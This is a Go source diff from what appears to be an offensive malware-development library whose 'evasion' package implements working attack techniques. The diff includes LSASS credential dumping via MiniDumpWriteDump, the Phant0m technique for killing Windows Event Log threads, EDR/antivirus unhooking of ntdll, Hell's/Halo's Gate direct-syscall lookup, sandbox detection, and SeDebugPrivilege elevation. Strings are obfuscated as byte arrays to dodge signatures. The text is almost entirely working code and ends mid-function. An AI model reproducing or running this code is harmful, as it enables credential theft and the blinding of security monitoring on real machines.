This file contains various functions that use API hashing to retrieve the pointer to a function or its syscall
|
||||
|
||||
*/
|
||||
|
||||
// Receive a hash, the full path to DLL and the hashing function used to encode the function, then you use the pointer like GetCurrentProccess.Call()
|
||||
func GetFuncPtr(hash string, dll string, hashing_function func(str string) string) (*windows.LazyProc, string, error) {
|
||||
// Open and parse PE file
|
||||
pe_file, err := pe.Open(dll)
|
||||
if err != nil {
|
||||
return &windows.LazyProc{}, "", err
|
||||
}
|
||||
defer pe_file.Close()
|
||||
|
||||
// Get export table
|
||||
exports, err := pe_file.Exports()
|
||||
if err != nil {
|
||||
return &windows.LazyProc{}, "", err
|
||||
}
|
||||
|
||||
for _, exp := range exports {
|
||||
if hash == hashing_function(exp.Name) {
|
||||
return windows.NewLazyDLL(dll).NewProc(exp.Name), exp.Name, nil
|
||||
}
|
||||
}
|
||||
|
||||
return &windows.LazyProc{}, "", errors.New("function not found")
|
||||
}
|
||||
|
||||
// retrieve syscall using hashing to use it later like Syscall(sysid, ...)
|
||||
func GetSysIdHash(hash string, dll string, hashing_func func(str string) string) (uint16, string, error) {
|
||||
dll_pe, err := pe.Open(dll) // Open and parse dll as a PE
|
||||
if err != nil {
|
||||
return 0, "", err
|
||||
@@ -49,10 +80,11 @@ func FuncFromHash(hash string, dll string, hashing_func func(str string) string)
|
||||
}
|
||||
}
|
||||
|
||||
return 0, "", errors.New("function not found!")
|
||||
return 0, "", errors.New("syscall ID not found")
|
||||
}
|
||||
|
||||
func HalosFuncFromHash(hash string, hashing_func func(str string) string) (uint16, string, error) {
|
||||
// retrieve syscall using hashing and Hell's Gate + Halo's Gate technique like GetSysId() function
|
||||
func GetSysIdHashHalos(hash string, hashing_func func(str string) string) (uint16, string, error) {
|
||||
var ntdll_pe *pe.File
|
||||
var err error
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package core
|
||||
package evasion
|
||||
|
||||
/*
|
||||
|
||||
@@ -8,7 +8,7 @@ https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscal
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"bytes"
|
||||
"strings"
|
||||
|
||||
// Third-party packages
|
||||
@@ -18,32 +18,30 @@ import (
|
||||
func DetectHooks() ([]string, error) {
|
||||
var hooked_functions []string
|
||||
|
||||
ntdll_pe, err := pe.Open(ntdllpath) // Open and parse ntdll.dll as a PE
|
||||
dll_pe, err := pe.Open(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}))
|
||||
if err != nil {
|
||||
return hooked_functions, err
|
||||
}
|
||||
defer ntdll_pe.Close()
|
||||
defer dll_pe.Close()
|
||||
|
||||
exports, err := ntdll_pe.Exports() // Get exported functions
|
||||
exports, err := dll_pe.Exports() // Get exported functions
|
||||
if err != nil {
|
||||
return hooked_functions, err
|
||||
}
|
||||
|
||||
for _, exp := range exports { // Iterate over them
|
||||
|
||||
offset := rvaToOffset(ntdll_pe, exp.VirtualAddress) // Get RVA offset
|
||||
bBytes, err := ntdll_pe.Bytes() // Get bytes from ntdll.dll
|
||||
offset := rvaToOffset(dll_pe, exp.VirtualAddress) // Get RVA offset
|
||||
bBytes, err := dll_pe.Bytes() // Get bytes from ntdll.dll
|
||||
if err != nil {
|
||||
return hooked_functions, err
|
||||
}
|
||||
|
||||
buff := bBytes[offset : offset+10]
|
||||
_, err = CheckBytes(buff) // Get syscall ID (if function is hooked it returns a custom error)
|
||||
var hook_err MayBeHookedError
|
||||
|
||||
if len(exp.Name) > 3 { // Avoid errors by checking function name length
|
||||
if exp.Name[0:2] == "Nt" || exp.Name[0:2] == "Zw" { // Just use functions which start by "Nt" or "Zw"
|
||||
if errors.As(err, &hook_err) == true { // Check error
|
||||
if !bytes.HasPrefix(buff, HookCheck) { // check if it is hooked
|
||||
hooked_functions = append(hooked_functions, exp.Name)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
package evasion
|
||||
|
||||
/*
|
||||
|
||||
References:
|
||||
https://github.com/calebsargent/GoProcDump
|
||||
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"os"
|
||||
"golang.org/x/sys/windows"
|
||||
"unsafe"
|
||||
|
||||
mproc "github.com/D3Ext/maldev/process"
|
||||
)
|
||||
|
||||
func DumpLsass(output_file string) error {
|
||||
err := ElevateProcessToken()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
all_lsass_pids, err := mproc.FindPidByName(string([]byte{'l', 's', 'a', 's', 's', '.', 'e', 'x', 'e'}))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
lsass_pid := all_lsass_pids[0]
|
||||
|
||||
kernel32 := windows.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
|
||||
dbghelp := windows.NewLazyDLL(string([]byte{'D', 'b', 'g', 'h', 'e', 'l', 'p', '.', 'd', 'l', 'l'}))
|
||||
|
||||
MiniDumpWriteDump := dbghelp.NewProc(string([]byte{'M', 'i', 'n', 'i', 'D', 'u', 'm', 'p', 'W', 'r', 'i', 't', 'e', 'D', 'u', 'm', 'p'}))
|
||||
OpenProcess := kernel32.NewProc(string([]byte{'O', 'p', 'e', 'n', 'P', 'r', 'o', 'c', 'e', 's', 's'}))
|
||||
CreateFileW := kernel32.NewProc(string([]byte{'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W'}))
|
||||
|
||||
pHandle, _, _ := OpenProcess.Call(
|
||||
uintptr(0xFFFF),
|
||||
uintptr(1),
|
||||
uintptr(lsass_pid),
|
||||
)
|
||||
|
||||
// Create memory dump
|
||||
os.Create(output_file)
|
||||
|
||||
path, err := windows.UTF16PtrFromString(output_file)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
fHandle, _, _ := CreateFileW.Call(
|
||||
uintptr(unsafe.Pointer(path)),
|
||||
windows.GENERIC_WRITE,
|
||||
windows.FILE_SHARE_READ|windows.FILE_SHARE_WRITE,
|
||||
0,
|
||||
windows.OPEN_EXISTING,
|
||||
windows.FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
)
|
||||
|
||||
ret, _, err := MiniDumpWriteDump.Call(
|
||||
uintptr(pHandle),
|
||||
uintptr(lsass_pid),
|
||||
uintptr(fHandle),
|
||||
0x00061907,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
os.Remove(output_file)
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,154 @@
|
||||
package evasion
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func GetEventLogPid() (int, error) {
|
||||
advapi32 := windows.NewLazyDLL("advapi32.dll")
|
||||
|
||||
OpenSCManager := advapi32.NewProc("OpenSCManagerW")
|
||||
OpenService := advapi32.NewProc("OpenServiceW")
|
||||
QueryServiceStatusEx := advapi32.NewProc("QueryServiceStatusEx")
|
||||
|
||||
var ssp windows.SERVICE_STATUS_PROCESS
|
||||
var dwBytesNeeded uint32
|
||||
|
||||
scm, _, err := OpenSCManager.Call(0, 0, windows.SERVICE_QUERY_STATUS)
|
||||
if scm == 0 {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
svc, _, err := OpenService.Call(scm, uintptr(unsafe.Pointer(windows.StringToUTF16Ptr("EventLog"))), windows.SERVICE_QUERY_STATUS)
|
||||
if svc == 0 {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
QueryServiceStatusEx.Call(svc, windows.SC_STATUS_PROCESS_INFO, uintptr(unsafe.Pointer(&ssp)), uintptr(unsafe.Sizeof(ssp)), uintptr(unsafe.Pointer(&dwBytesNeeded)))
|
||||
|
||||
return int(ssp.ProcessId), nil
|
||||
}
|
||||
|
||||
// Main function
|
||||
func Phant0m(eventlog_pid int) error {
|
||||
err := ElevateProcessToken() // admin privs needed
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ntdll := windows.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}))
|
||||
NtQueryInformationThread := ntdll.NewProc(string([]byte{'N', 't', 'Q', 'u', 'e', 'r', 'y', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', 'T', 'h', 'r', 'e', 'a', 'd'}))
|
||||
|
||||
advapi32 := windows.NewLazyDLL(string([]byte{'a', 'd', 'v', 'a', 'p', 'i', '3', '2', '.', 'd', 'l', 'l'}))
|
||||
I_QueryTagInformation := advapi32.NewProc(string([]byte{'I', '_', 'Q', 'u', 'e', 'r', 'y', 'T', 'a', 'g', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n'}))
|
||||
|
||||
kernel32 := windows.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
|
||||
OpenThread := kernel32.NewProc(string([]byte{'O', 'p', 'e', 'n', 'T', 'h', 'r', 'e', 'a', 'd'}))
|
||||
OpenProcess := kernel32.NewProc(string([]byte{'O', 'p', 'e', 'n', 'P', 'r', 'o', 'c', 'e', 's', 's'}))
|
||||
TerminateThread := kernel32.NewProc(string([]byte{'T', 'e', 'r', 'm', 'i', 'n', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd'}))
|
||||
CloseHandle := kernel32.NewProc(string([]byte{'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e'}))
|
||||
ReadProcessMemory := kernel32.NewProc(string([]byte{'R', 'e', 'a', 'd', 'P', 'r', 'o', 'c', 'e', 's', 's', 'M', 'e', 'm', 'o', 'r', 'y'}))
|
||||
CreateToolhelp32Snapshot := kernel32.NewProc(string([]byte{'C', 'r', 'e', 'a', 't', 'e', 'T', 'o', 'o', 'l', 'h', 'e', 'l', 'p', '3', '2', 'S', 'n', 'a', 'p', 's', 'h', 'o', 't'}))
|
||||
Thread32First := kernel32.NewProc(string([]byte{'T', 'h', 'r', 'e', 'a', 'd', '3', '2', 'F', 'i', 'r', 's', 't'}))
|
||||
Thread32Next := kernel32.NewProc(string([]byte{'T', 'h', 'r', 'e', 'a', 'd', '3', '2', 'N', 'e', 'x', 't'}))
|
||||
|
||||
var hThreads uintptr
|
||||
hThreads, _, _ = CreateToolhelp32Snapshot.Call(
|
||||
windows.TH32CS_SNAPTHREAD,
|
||||
0,
|
||||
)
|
||||
|
||||
if hThreads == 0 {
|
||||
return errors.New("An error has occurred calling CreateToolhelp32Snapshot")
|
||||
}
|
||||
|
||||
tbi := PTHREAD_BASIC_INFORMATION{}
|
||||
te32 := windows.ThreadEntry32{}
|
||||
te32.Size = uint32(unsafe.Sizeof(te32))
|
||||
|
||||
Thread32First.Call(
|
||||
hThreads,
|
||||
uintptr(unsafe.Pointer(&te32)),
|
||||
)
|
||||
|
||||
for true {
|
||||
if te32.OwnerProcessID == uint32(eventlog_pid) {
|
||||
hEvtThread, _, _ := OpenThread.Call(
|
||||
windows.THREAD_QUERY_LIMITED_INFORMATION|windows.THREAD_SUSPEND_RESUME|windows.THREAD_TERMINATE,
|
||||
uintptr(0),
|
||||
uintptr(te32.ThreadID),
|
||||
)
|
||||
|
||||
if hEvtThread == 0 {
|
||||
return errors.New("An error has occurred calling OpenThread")
|
||||
}
|
||||
|
||||
NtQueryInformationThread.Call(
|
||||
uintptr(hEvtThread),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&tbi)),
|
||||
0x30,
|
||||
0,
|
||||
)
|
||||
|
||||
hEvtProcess, _, _ := OpenProcess.Call(
|
||||
windows.PROCESS_VM_READ,
|
||||
uintptr(0),
|
||||
uintptr(te32.OwnerProcessID),
|
||||
)
|
||||
|
||||
if hEvtProcess == 0 {
|
||||
return errors.New("An error has occurred calling OpenProcess")
|
||||
}
|
||||
|
||||
if tbi.pTebBaseAddress != 0 {
|
||||
scTagQuery := SC_SERVICE_TAG_QUERY{}
|
||||
|
||||
var hTag byte
|
||||
var pN uintptr
|
||||
ReadProcessMemory.Call(
|
||||
hEvtProcess,
|
||||
tbi.pTebBaseAddress+0x1720,
|
||||
uintptr(unsafe.Pointer(&hTag)),
|
||||
unsafe.Sizeof(pN),
|
||||
0,
|
||||
)
|
||||
|
||||
scTagQuery.processId = te32.OwnerProcessID
|
||||
scTagQuery.serviceTag = uint32(hTag)
|
||||
|
||||
I_QueryTagInformation.Call(
|
||||
0,
|
||||
1, // ServiceNameFromTagInformation
|
||||
uintptr(unsafe.Pointer(&scTagQuery)),
|
||||
)
|
||||
|
||||
if scTagQuery.pBuffer != nil {
|
||||
TerminateThread.Call(
|
||||
uintptr(hEvtThread),
|
||||
0,
|
||||
)
|
||||
}
|
||||
|
||||
CloseHandle.Call(hEvtThread)
|
||||
CloseHandle.Call(hEvtProcess)
|
||||
}
|
||||
}
|
||||
|
||||
_, _, err := Thread32Next.Call(
|
||||
hThreads,
|
||||
uintptr(unsafe.Pointer(&te32)),
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle.Call(hThreads)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
package core
|
||||
package evasion
|
||||
|
||||
import (
|
||||
"errors"
|
||||
@@ -6,7 +6,6 @@ import (
|
||||
"os"
|
||||
"os/user"
|
||||
"runtime"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
@@ -15,72 +14,72 @@ import (
|
||||
mproc "github.com/D3Ext/maldev/process"
|
||||
)
|
||||
|
||||
func AutoCheck() error {
|
||||
func AutoCheck() (bool, error) {
|
||||
mem_check, err := CheckMemory()
|
||||
if err != nil {
|
||||
return err
|
||||
return false, err
|
||||
}
|
||||
|
||||
if mem_check {
|
||||
os.Exit(0)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
drivers_check := CheckDrivers()
|
||||
if drivers_check {
|
||||
os.Exit(0)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
proc_check, err := CheckProcess()
|
||||
if err != nil {
|
||||
return err
|
||||
return false, err
|
||||
}
|
||||
|
||||
if proc_check {
|
||||
os.Exit(0)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
disk_check, err := CheckDisk()
|
||||
if err != nil {
|
||||
return err
|
||||
return false, err
|
||||
}
|
||||
|
||||
if disk_check {
|
||||
os.Exit(0)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
internet_check := CheckInternet()
|
||||
if internet_check {
|
||||
os.Exit(0)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
hostn_check, err := CheckHostname()
|
||||
if err != nil {
|
||||
return err
|
||||
return false, err
|
||||
}
|
||||
|
||||
if hostn_check {
|
||||
os.Exit(0)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
user_check, err := CheckUsername()
|
||||
if err != nil {
|
||||
return err
|
||||
return false, err
|
||||
}
|
||||
|
||||
if user_check {
|
||||
os.Exit(0)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
cpu_check := CheckCpu()
|
||||
if cpu_check {
|
||||
os.Exit(0)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return nil
|
||||
return false, nil
|
||||
}
|
||||
|
||||
func CheckMemory() (bool, error) {
|
||||
procGlobalMemoryStatusEx := syscall.NewLazyDLL("kernel32.dll").NewProc("GlobalMemoryStatusEx")
|
||||
procGlobalMemoryStatusEx := windows.NewLazyDLL("kernel32.dll").NewProc("GlobalMemoryStatusEx")
|
||||
|
||||
msx := &memStatusEx{
|
||||
dwLength: 64,
|
||||
@@ -99,7 +98,7 @@ func CheckMemory() (bool, error) {
|
||||
}
|
||||
|
||||
func CheckDisk() (bool, error) {
|
||||
procGetDiskFreeSpaceExW := syscall.NewLazyDLL("kernel32.dll").NewProc("GetDiskFreeSpaceExW")
|
||||
procGetDiskFreeSpaceExW := windows.NewLazyDLL("kernel32.dll").NewProc("GetDiskFreeSpaceExW")
|
||||
|
||||
lpTotalNumberOfBytes := int64(0)
|
||||
diskret, _, err := procGetDiskFreeSpaceExW.Call(
|
||||
@@ -0,0 +1,13 @@
|
||||
package evasion
|
||||
|
||||
func Sleep() {
|
||||
s := 500000
|
||||
|
||||
for i := 0; i <= s; i++ {
|
||||
for j := 2; j <= i/2; j++ {
|
||||
if i % j == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
package evasion
|
||||
|
||||
import "fmt"
|
||||
|
||||
func Syscall(callid uint16, argh ...uintptr) (errcode uint32, err error) {
|
||||
errcode = bpSyscall(callid, argh...)
|
||||
|
||||
if errcode != 0 {
|
||||
err = fmt.Errorf("non-zero return from syscall")
|
||||
}
|
||||
|
||||
return errcode, err
|
||||
}
|
||||
|
||||
func bpSyscall(callid uint16, argh ...uintptr) (errcode uint32)
|
||||
|
||||
|
||||
@@ -0,0 +1,217 @@
|
||||
package evasion
|
||||
|
||||
/*
|
||||
|
||||
References:
|
||||
https://github.com/RedLectroid/APIunhooker
|
||||
https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
)
|
||||
|
||||
// This function unhooks given functions of especified dll
|
||||
func ClassicUnhook(funcnames []string, dllpath string) error {
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
|
||||
GetModuleHandle := kernel32.NewProc("GetModuleHandleW")
|
||||
GetProcAddress := kernel32.NewProc("GetProcAddress")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
|
||||
// should be full path: C:\\Windows\\System32\\ntdll.dll
|
||||
lib, _ := windows.LoadLibrary(dllpath)
|
||||
defer windows.FreeLibrary(lib)
|
||||
|
||||
for _, f := range funcnames {
|
||||
var assembly_bytes []byte
|
||||
|
||||
procAddr, _ := windows.GetProcAddress(lib, f)
|
||||
|
||||
ptr_bytes := (*[1 << 30]byte)(unsafe.Pointer(procAddr))
|
||||
funcBytes := ptr_bytes[:5:5]
|
||||
|
||||
for i := 0; i < 5; i++ {
|
||||
assembly_bytes = append(assembly_bytes, funcBytes[i])
|
||||
}
|
||||
|
||||
pHandle, _, err := GetCurrentProcess.Call()
|
||||
if pHandle == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
// Convert dll name to pointer
|
||||
lib_ptr, err := windows.UTF16PtrFromString(strings.Split(dllpath, "\\")[3])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
moduleHandle, _, err := GetModuleHandle.Call(uintptr(unsafe.Pointer(lib_ptr)))
|
||||
if moduleHandle == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
func_ptr, err := windows.UTF16PtrFromString(f)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
addr, _, err := GetProcAddress.Call(
|
||||
moduleHandle,
|
||||
uintptr(unsafe.Pointer(func_ptr)),
|
||||
)
|
||||
|
||||
if addr == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
// Overwrite address with original function bytes
|
||||
WriteProcessMemory.Call(
|
||||
pHandle,
|
||||
addr,
|
||||
uintptr(unsafe.Pointer(&assembly_bytes[0])),
|
||||
5,
|
||||
uintptr(0),
|
||||
)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Load fresh DLL copy in memory
|
||||
func FullUnhook(dlls_to_unhook []string) error {
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
|
||||
|
||||
for _, dll_to_unhook := range dlls_to_unhook {
|
||||
if (!strings.HasPrefix(dll_to_unhook, "C:\\")) {
|
||||
dll_to_unhook = "C:\\Windows\\System32\\" + dll_to_unhook
|
||||
}
|
||||
|
||||
f, err := ioutil.ReadFile(dll_to_unhook)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
file, err := pe.Open(dll_to_unhook)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
x := file.Section(".text")
|
||||
size := x.Size
|
||||
dll_bytes := f[x.Offset:x.Size]
|
||||
|
||||
dll, err := windows.LoadDLL(dll_to_unhook)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
dll_handle := dll.Handle
|
||||
dll_base := uintptr(dll_handle)
|
||||
dll_offset := uint(dll_base) + uint(x.VirtualAddress)
|
||||
|
||||
regionsize := uintptr(size)
|
||||
var oldProtect uintptr
|
||||
|
||||
r1, _, err := NtProtectVirtualMemory.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&dll_offset)), uintptr(unsafe.Pointer(®ionsize)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if r1 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
for i := 0; i < len(dll_bytes); i++ {
|
||||
loc := uintptr(dll_offset + uint(i))
|
||||
mem := (*[1]byte)(unsafe.Pointer(loc))
|
||||
(*mem)[0] = dll_bytes[i]
|
||||
}
|
||||
|
||||
r2, _, err := NtProtectVirtualMemory.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&dll_offset)), uintptr(unsafe.Pointer(®ionsize)), oldProtect, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if r2 != 0 {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Get a clean copy of ntdll from a suspended process (e.g. notepad.exe) and copy it to current process
|
||||
func PerunsUnhook() error {
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
GetConsoleWindow := kernel32.NewProc("GetConsoleWindow")
|
||||
CreateProcessW := kernel32.NewProc("CreateProcessW")
|
||||
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
TerminateProcess := kernel32.NewProc("TerminateProcess")
|
||||
ShowWindow := windows.NewLazyDLL("user32.dll").NewProc("ShowWindow")
|
||||
|
||||
hwnd, _, _ := GetConsoleWindow.Call()
|
||||
if hwnd == 0 {
|
||||
return errors.New("error calling GetConsoleWindow")
|
||||
}
|
||||
|
||||
var SW_HIDE uintptr = 0
|
||||
ShowWindow.Call(hwnd, SW_HIDE)
|
||||
|
||||
si:= &windows.StartupInfo{}
|
||||
pi := &windows.ProcessInformation{}
|
||||
|
||||
cmd, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
CreateProcessW.Call(0, uintptr(unsafe.Pointer(cmd)), 0, 0, 0, windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer(si)), uintptr(unsafe.Pointer(pi)))
|
||||
|
||||
pHandle, _, _ := GetCurrentProcess.Call()
|
||||
|
||||
time.Sleep(5 * time.Second)
|
||||
|
||||
file, err := pe.Open("C:\\Windows\\System32\\ntdll.dll")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
x := file.Section(".text")
|
||||
size := x.Size
|
||||
|
||||
dll, err := windows.LoadDLL("C:\\Windows\\System32\\ntdll.dll")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
dll_handle := dll.Handle
|
||||
dll_base := uintptr(dll_handle)
|
||||
dll_offset := uint(dll_base) + uint(x.VirtualAddress)
|
||||
|
||||
var data = make([]byte, size)
|
||||
var nbr uintptr = 0
|
||||
|
||||
r1, _, err := ReadProcessMemory.Call(uintptr(pi.Process), uintptr(dll_offset), uintptr(unsafe.Pointer(&data[0])), uintptr(size), uintptr(unsafe.Pointer(&nbr)))
|
||||
if r1 == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
ntdll_bytes := data
|
||||
ntdll_offset := dll_offset
|
||||
|
||||
var nLength uintptr
|
||||
r2, _, err := WriteProcessMemory.Call(pHandle, uintptr(ntdll_offset), uintptr(unsafe.Pointer(&ntdll_bytes[0])), uintptr(uint32(len(ntdll_bytes))), uintptr(unsafe.Pointer(&nLength)))
|
||||
if r2 == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
TerminateProcess.Call(uintptr(pi.Process), 0)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,187 @@
|
||||
package evasion
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"bytes"
|
||||
"unsafe"
|
||||
"syscall"
|
||||
"strings"
|
||||
"fmt"
|
||||
"crypto/sha1"
|
||||
//"golang.org/x/sys/windows"
|
||||
"github.com/Binject/debug/pe"
|
||||
)
|
||||
|
||||
func Sha1(str string) string {
|
||||
h := sha1.New()
|
||||
h.Write([]byte(str))
|
||||
bs := h.Sum(nil)
|
||||
|
||||
return fmt.Sprintf("%x", bs)
|
||||
}
|
||||
|
||||
var HookCheck = []byte{0x4c, 0x8b, 0xd1, 0xb8} // Define hooked bytes to look for
|
||||
|
||||
type MayBeHookedError struct { // Define custom error for hooked functions
|
||||
Foundbytes []byte
|
||||
}
|
||||
|
||||
func (e MayBeHookedError) Error() string {
|
||||
return fmt.Sprintf("may be hooked: wanted %x got %x", HookCheck, e.Foundbytes)
|
||||
}
|
||||
|
||||
func CheckBytes(b []byte) (uint16, error) {
|
||||
if !bytes.HasPrefix(b, HookCheck) { // Check syscall bytes
|
||||
return 0, MayBeHookedError{Foundbytes: b}
|
||||
}
|
||||
|
||||
return binary.LittleEndian.Uint16(b[4:8]), nil
|
||||
}
|
||||
|
||||
// getString extracts a string from symbol string table.
|
||||
func getString(section []byte, start int) (string, bool) {
|
||||
if start < 0 || start >= len(section) {
|
||||
return "", false
|
||||
}
|
||||
|
||||
for end := start; end < len(section); end++ {
|
||||
if section[end] == 0 {
|
||||
return string(section[start:end]), true
|
||||
}
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
func rvaToOffset(pefile *pe.File, rva uint32) uint32 {
|
||||
for _, hdr := range pefile.Sections {
|
||||
baseoffset := uint64(rva)
|
||||
if baseoffset > uint64(hdr.VirtualAddress) &&
|
||||
baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) {
|
||||
return rva - hdr.VirtualAddress + hdr.Offset
|
||||
}
|
||||
}
|
||||
return rva
|
||||
}
|
||||
|
||||
func inMemLoads(modulename string) (uintptr, uintptr) {
|
||||
s, si, p := gMLO(0)
|
||||
start := p
|
||||
i := 1
|
||||
|
||||
if strings.Contains(strings.ToLower(p), strings.ToLower(modulename)) {
|
||||
return s, si
|
||||
}
|
||||
|
||||
for {
|
||||
s, si, p = gMLO(i)
|
||||
|
||||
if p != "" {
|
||||
if strings.Contains(strings.ToLower(p), strings.ToLower(modulename)) {
|
||||
return s, si
|
||||
}
|
||||
}
|
||||
|
||||
if p == start {
|
||||
break
|
||||
}
|
||||
|
||||
i++
|
||||
}
|
||||
|
||||
return 0, 0
|
||||
}
|
||||
|
||||
func GetNtdllStart() (start uintptr, size uintptr)
|
||||
|
||||
func gMLO(i int) (start uintptr, size uintptr, modulepath string) {
|
||||
var badstring *sstring
|
||||
start, size, badstring = getMLO(i)
|
||||
modulepath = badstring.String()
|
||||
return
|
||||
}
|
||||
|
||||
// getModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll.
|
||||
func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring)
|
||||
|
||||
// Enable SeDebugPrivilege
|
||||
func ElevateProcessToken() error {
|
||||
|
||||
type Luid struct {
|
||||
lowPart uint32 // DWORD
|
||||
highPart int32 // long
|
||||
}
|
||||
|
||||
type LuidAndAttributes struct {
|
||||
luid Luid // LUID
|
||||
attributes uint32 // DWORD
|
||||
}
|
||||
|
||||
type TokenPrivileges struct {
|
||||
privilegeCount uint32 // DWORD
|
||||
privileges [1]LuidAndAttributes
|
||||
}
|
||||
|
||||
const SeDebugPrivilege = "SeDebugPrivilege"
|
||||
const tokenAdjustPrivileges = 0x0020
|
||||
const tokenQuery = 0x0008
|
||||
var hToken uintptr
|
||||
|
||||
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
||||
advapi32 := syscall.NewLazyDLL("advapi32.dll")
|
||||
|
||||
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
|
||||
GetLastError := kernel32.NewProc("GetLastError")
|
||||
OpenProcessToken := advapi32.NewProc("OpenProcessToken")
|
||||
LookupPrivilegeValue := advapi32.NewProc("LookupPrivilegeValueW")
|
||||
AdjustTokenPrivileges := advapi32.NewProc("AdjustTokenPrivileges")
|
||||
|
||||
currentProcess, _, _ := GetCurrentProcess.Call()
|
||||
|
||||
result, _, err := OpenProcessToken.Call(
|
||||
currentProcess,
|
||||
tokenAdjustPrivileges|tokenQuery,
|
||||
uintptr(unsafe.Pointer(&hToken)),
|
||||
)
|
||||
|
||||
